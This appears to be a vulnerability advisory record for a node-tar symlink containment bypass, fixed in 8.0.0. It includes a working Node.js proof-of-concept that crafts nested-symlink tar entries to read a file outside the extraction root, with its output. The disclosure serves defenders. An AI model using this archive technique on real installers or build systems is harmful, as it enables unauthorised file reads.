{"id":"CVE-2026-140244","aliases":["CVE-2026-140244","GHSA-mhqm-9wj8-w7r4"],"related":[],"kind":"vulnerability","state":"published","title":"node-tar: symlink containment bypass via nested symlink + '..' (lexical linkpath check)","summary":"node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, the STRIPABSOLUTEPATH linkpath containment check uses path.resolve and collapses parent components without following an earlier archive-created symlink. A second symlink can therefore be planted inside the extraction root while pointing outside it. A later consumer that reads, serves, copies, or archives the extracted tree can follow the link and read an arbitrary file. Hardlinks and subsequent node-tar writes through the planted link remain blocked. This issue is fixed in version 8.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, the STRIPABSOLUTEPATH linkpath containment check uses path.resolve and collapses parent components without following an earlier archive-created symlink. A second symlink can therefore be planted inside the extraction root while pointing outside it. A later consumer that reads, serves, copies, or archives the extracted tree can follow the link and read an arbitrary file. Hardlinks and subsequent node-tar writes through the planted link remain blocked. This issue is fixed in version 8.0.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nnode-tar checks that a symlink's target stays inside `cwd`, but the check is lexical. It runs `path.resolve(dirname, linkpath)`, which collapses `..` without following symlinks. Entry 1 `s1 -> .` is accepted because its target is cwd. Entry 2 `s2 -> s1/../secret.txt` resolves lexically to `<cwd>/secret.txt` and is accepted too. On disk the kernel resolves `s1` to cwd first and then applies `..`, so `s2` points to `<cwd>/../secret.txt`, outside the extraction root. Repeating `s1/` climbs further. node-tar rejects the direct form (`../secret.txt` gives TAR_ENTRY_ERROR), so it treats outside-pointing symlinks as in scope. This bypasses the linkpath containment added for GHSA-8qq5-rm4j-mr97 and related advisories.\n\n### Affected\n\ntar 7.5.22 (latest). `src/unpack.ts`, the `[STRIPABSOLUTEPATH]` normalize/startsWith('../') check and the `[SYMLINK]` path (`dist/esm/unpack.js` around lines 224-244 and 511-513).\n\n### Reproduction\n\ntar 7.5.22, tar-stream 3.2.2, node 22, Docker with `--network none`. `secret.txt` sits next to the extraction dir.\n\n```js\nconst tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');\nconst base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');\nfs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\\n');\nconst ents = {\n direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],\n dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],\n hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],\n hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],\n file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],\n};\n(async()=>{ for (const [k,es] of Object.entries(ents)) {\n  fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});\n  const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();\n  const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));\n  const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }\n  const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});\n  let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}\n  console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));\n}})();\n```\n\n```\ndirect             warn= [\"TAR_ENTRY_ERROR\"] entries= [] read= - pwn_outside= false\ndotdot_via_s1      warn= [] entries= [\"s1->.\",\"s2->s1/../secret.txt\"] read= s2:\"CANARY\\n\" pwn_outside= false\nhardlink_via_s1    warn= [\"TAR_ENTRY_ERROR\"] entries= [\"s1->.\"] read= - pwn_outside= false\nhardlink_abs       warn= [\"TAR_ENTRY_INFO\",\"TAR_ENTRY_ERROR\"] entries= [] read= - pwn_outside= false\nfile_through_link  warn= [\"TAR_ENTRY_ERROR\"] entries= [\"s1->.\",\"s2->s1/..\"] read= - pwn_outside= false\n```\n\nThe direct form is rejected (control). The two-step form extracts with no warning, and reading `s2` returns the file outside the root.\n\n### Impact and limits\n\nHardlinks through `s1/..` and writes through `s2/` are still blocked. The result is a planted symlink pointing outside the extraction root. Anything that later reads, serves, copies or archives the extracted tree follows it, which gives arbitrary file read (for example package installers, build or CI systems, and archive previewers). Estimated CVSS 3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.9).\n\n### Suggested fix\n\nValidate the symlink target on the real filesystem. Walk its components with lstat (as ENSURE_NO_SYMLINK does for entry paths) and reject a `..` that follows a symlink component, or resolve the existing prefix with realpath before the containment check.\n\nReported by Zachariah Mithani (zachariah@aplosai.com).","format":"markdown","source":"ghsa"}],"published":"2026-12-01T17:49:26.157Z","modified":"2026-12-02T01:45:50.782Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-22","CWE-59"],"affected":[{"ranges":[{"version":"< 8.0.0","status":"affected"}],"vendor":"isaacs","product":"node-tar","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"8.0.0"}],"ecosystem":"npm","package":"tar","purl":"pkg:npm/tar","source":"ghsa"}],"references":[{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-mhqm-9wj8-w7r4","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/isaacs/node-tar/releases/tag/v8.0.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140244","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/isaacs/node-tar","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-140244","url":"https://www.cve.org/CVERecord?id=CVE-2026-140244","licence":"CVE Terms of Use","modified":"2026-12-01T17:49:26.157Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mhqm-9wj8-w7r4","url":"https://github.com/advisories/GHSA-mhqm-9wj8-w7r4","licence":"CC-BY-4.0","modified":"2026-12-02T01:45:50.782Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-140244","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140244","licence":"Public domain","modified":"2026-12-01T18:17:28.733Z"}],"updatedAt":"2026-12-02T01:57:25.657Z"}